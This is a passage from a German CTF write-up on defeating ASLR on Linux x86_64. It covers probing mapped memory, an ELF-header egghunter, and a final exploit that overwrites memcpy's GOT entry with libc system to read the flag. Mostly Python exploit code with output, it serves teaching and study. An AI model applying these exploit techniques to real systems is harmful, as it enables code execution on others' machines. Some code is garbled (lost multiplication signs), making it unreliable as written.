Dieser kleine Abstand zwischen 0x00007f763c000000 und 0x00007f763ccaa000 bringt die Binärsuche durcheinander, natürlich ist sie immer noch machbar, aber ich habe einen einfacheren Weg gefunden.
### Beobachtung
Wir wollen die letzte gemappte Adresse erhalten, denn dort werden Bibliotheken gemappt.
Zum Beispiel, gegeben diese Mappings für die Bibliotheken:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Wir können mit diesem Trick nach der Adresse 7fe3d6a5b000 - 0x1000 suchen:
| Adresse | Ist Adresse gemappt? |
|---|---|
| 0x7fe3f0000000 | Nein |
| 0x7fe3e0000000 | Nein |
| 0x7fe3d0000000 | Ja |
| 0x7fe3df000000 | Nein |
| 0x7fe3de000000 | Nein |
| 0x7fe3dd000000 | Nein |
| 0x7fe3dc000000 | Nein |
| 0x7fe3db000000 | Nein |
| 0x7fe3da000000 | Nein |
| 0x7fe3d9000000 | Nein |
| 0x7fe3d8000000 | Nein |
| 0x7fe3d7000000 | Nein |
| 0x7fe3d6000000 | Ja |
| 0x7fe3d6f00000 | Nein |
| 0x7fe3d6e00000 | Nein |
| 0x7fe3d6d00000 | Nein |
| 0x7fe3d6c00000 | Nein |
| 0x7fe3d6b00000 | Nein |
| 0x7fe3d6a00000 | Ja |
| 0x7fe3d6af0000 | Nein |
| 0x7fe3d6ae0000 | Nein |
| 0x7fe3d6ad0000 | Nein |
| 0x7fe3d6ac0000 | Nein |
| 0x7fe3d6ab0000 | Nein |
| 0x7fe3d6aa0000 | Nein |
| 0x7fe3d6a90000 | Nein |
| 0x7fe3d6a80000 | Nein |
| 0x7fe3d6a70000 | Nein |
| 0x7fe3d6a60000 | Nein |
| 0x7fe3d6a50000 | Ja |
| 0x7fe3d6a5f000 | Nein |
| 0x7fe3d6a5e000 | Nein |
| 0x7fe3d6a5d000 | Nein |
| 0x7fe3d6a5c000 | Nein |
| 0x7fe3d6a5b000 | Nein |
| 0x7fe3d6a5a000 | Ja |
lastMappedPage = 0x7fe3d6a5a000
Wir brute-forcen jeweils ein halbes Byte, für ein Worst-Case-Szenario von 165 = 80 Abfragen.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 Der Exploit
Schließlich wissen wir alles, was wir über die Speicherzuordnungen wissen müssen; jetzt müssen wir nur noch eine Write-what-where-Primitive in Codeausführung umwandeln.
Um Codeausführung zu erreichen, habe ich den memcpy@got-Eintrag von libkyle.so mit system@libc überschrieben.
### libkyle-Basis ermitteln
Glücklicherweise befinden sich die libc-Basis und die libkyle.so-Basis in einem konstanten Offset von lastMappedPage; das wusste ich nicht, also schrieb ich einen Egghunter, der nach `\x7fELF` \(Header von ELF-Executables\) sucht, was sich letztendlich als nutzlos herausstellte.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
Glücklicherweise war es gut genug, memcpy@got mit system zu überschreiben, um die Flag zu bekommen und diese saftige Prämie einzustreichen :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 Die Flagge!
Du findest den Exploit [hier](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
Es gibt auch eine 100% zuverlässige Version des Exploits [hier](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).
## 5. Fazit
Ich hoffe, dir hat der Writeup gefallen. Falls etwas nicht klar genug war, zögere nicht, mich [@nick0ve](https://twitter.com/nick0ve) zu kontaktieren :)